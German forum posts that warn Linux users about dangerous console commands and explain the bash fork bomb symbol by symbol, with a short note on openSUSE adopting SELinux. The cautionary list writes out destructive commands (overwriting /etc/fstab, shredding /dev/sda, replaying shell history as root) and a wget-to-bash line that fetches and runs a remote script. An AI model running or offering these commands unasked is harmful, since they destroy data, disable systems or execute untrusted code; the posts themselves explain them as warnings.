Beiträge von Alero

    Wie ich schon vor einigen Tagen mitteilte, hat openSUSE auf Apparmor verzichtet und nutzt in Zukunft SElinux. Um den Usern einen Überblick über SELinux zu geben werde ich mir jetzt aber nicht die Finger blutig schreiben. Das taten schon andere. Ausführliche Informationen zum Thema unter folgendem Link oder in der großen Müllhalde Internet.


    SELinux-Richtlinie, Kontext und Fehlerbehebung
    Dieser Artikel bietet einen Überblick über die grundlegenden SELi
    documentation.suse.com

    Zusätzlich zum Artikel über die Fork-Bombe gibt es noch einige andere Konsolen-Befehle, vor denen man sich hüten sollte. Ein kurzer Abriß:


    > /etc/fstab : Das > ist eine Shell Redirection für cat /dev/null > file. Damit wird die Datei mit Nichts (dem Inhalt von /dev/null) überschrieben und ist danach leer. In dem Falle hier die fstab.


    command > /dev/sda : Terminalbefehle erzeugen in der Regel ein Ergebnis, welches auf stdout ausgegeben wird (das Terminal). Man kann die Ausgabe aber auch in eine andere Richtung lenken; wie wäre es mit eurer Hauptpartition? Das Umlenken geschieht mit dem > Operator. Als command kann man gern shred einsetzen, was im vorliegenden Fall eure Festplatte shreddert.


    sudo !1 : Die History der Shell ist für Schreibfaule sehr bequem. Aber sie kann auch gefährlich werden. Dieser Befehl führt den ersten Eintrag aus der History mit Root-Rechten aus. Da sich niemand daran erinnert, welches der erste History-Eintrag war, ist der Befehl russisches Roulette. Aber es geht noch besser ...


    history | sh : Damit schickt ihr den gesamten Inhalt der Befehls-Historie an die Shell, um diese Befehle auszuführen. Das führt garantiert zur Katastrophe.


    wget https://outpost.com/horror.sh | bash : Dieser Befehl lädt ein unbekanntes Script mit wget herunter und pipt es an die Shell, um es direkt auszuführen. Russisches Roulette ist Kinderfasching dagegen!


    Es gibt noch etliche mehr dieser Befehle. Diese Abhandlung erhebt keinen Anspruch auf Vollständigkeit.

    Der eine oder andere hat bestimmt schon einmal auf einem T-Shirt oben angeführte Zeichen gesehen und sich gefragt, was das wohl bedeuten möge. Es handelt sich hier um eine sogenannte Fork-Bombe.


    Was’n das nun wieder?


    Die Fork-Bombe ist eine Art DoS (Denial-of-Service) - Angriff auf Unix basierte Systeme. Bei der Ausführung wird rekursiv ein Programm gestartet und dieses immer und immer wieder wiederholt. Das Programm ruft also zwei Kopien seiner selbst auf und wartet, bis sie wieder beendet wurden. Dieser Zustand wird jedoch niemals erreicht werden, da die Kopien genauso verfahren. Aus einem Programmaufruf werden somit zunächst 2, dann 4, dann 8 und nach nur 10 solcher Zyklen sind bereits über tausend Kopien gestartet und aktiv. Das geht immer so weiter und weiter und im besten Falle wird das System unbenutzbar. Dann hilft nur noch die Brechstange.


    Zur Erklärung:


    :() # Definition der Funktion ":" -- immer wenn ":" aufgerufen wird, tue das folgende:

    { #

    : # eine neue Kopie von ":" laden

    | # … und seine Standardausgabe umleiten auf …

    : # … eine weitere Kopie von ":" (die auch in den Speicher geladen werden muss)

    # (":|:" erzeugt also einfach 2 Kopien von ":", immer wenn es aufgerufen wird)

    & # die Befehlszeile unabhängig vom aufrufenden Prozess machen (im Hintergrund ausführen)

    } #

    ; # Durch ";" wird die Definition von ":" beendet

    : # …und durch den Aufruf von ":" die Kettenreaktion in Gang gesetzt.


    Es gibt jedoch verschiedene Methoden, um Bash Fork Bombs unter Linux zu verhindern. Diese Methoden umfassen die Begrenzung der Anzahl von Prozessen, die Festlegung von Ressourcengrenzen und die Konfiguration von Systemeinstellungen.


    Falls jemand meint, er müsste dies mal in seiner Konsole testen, dann möchte ich darauf hinweisen, das dies auf eigene Gefahr geschieht. Es ging mir lediglich um die Erklärung der kryptischen Zeichen auf dem T-Shirt. »¬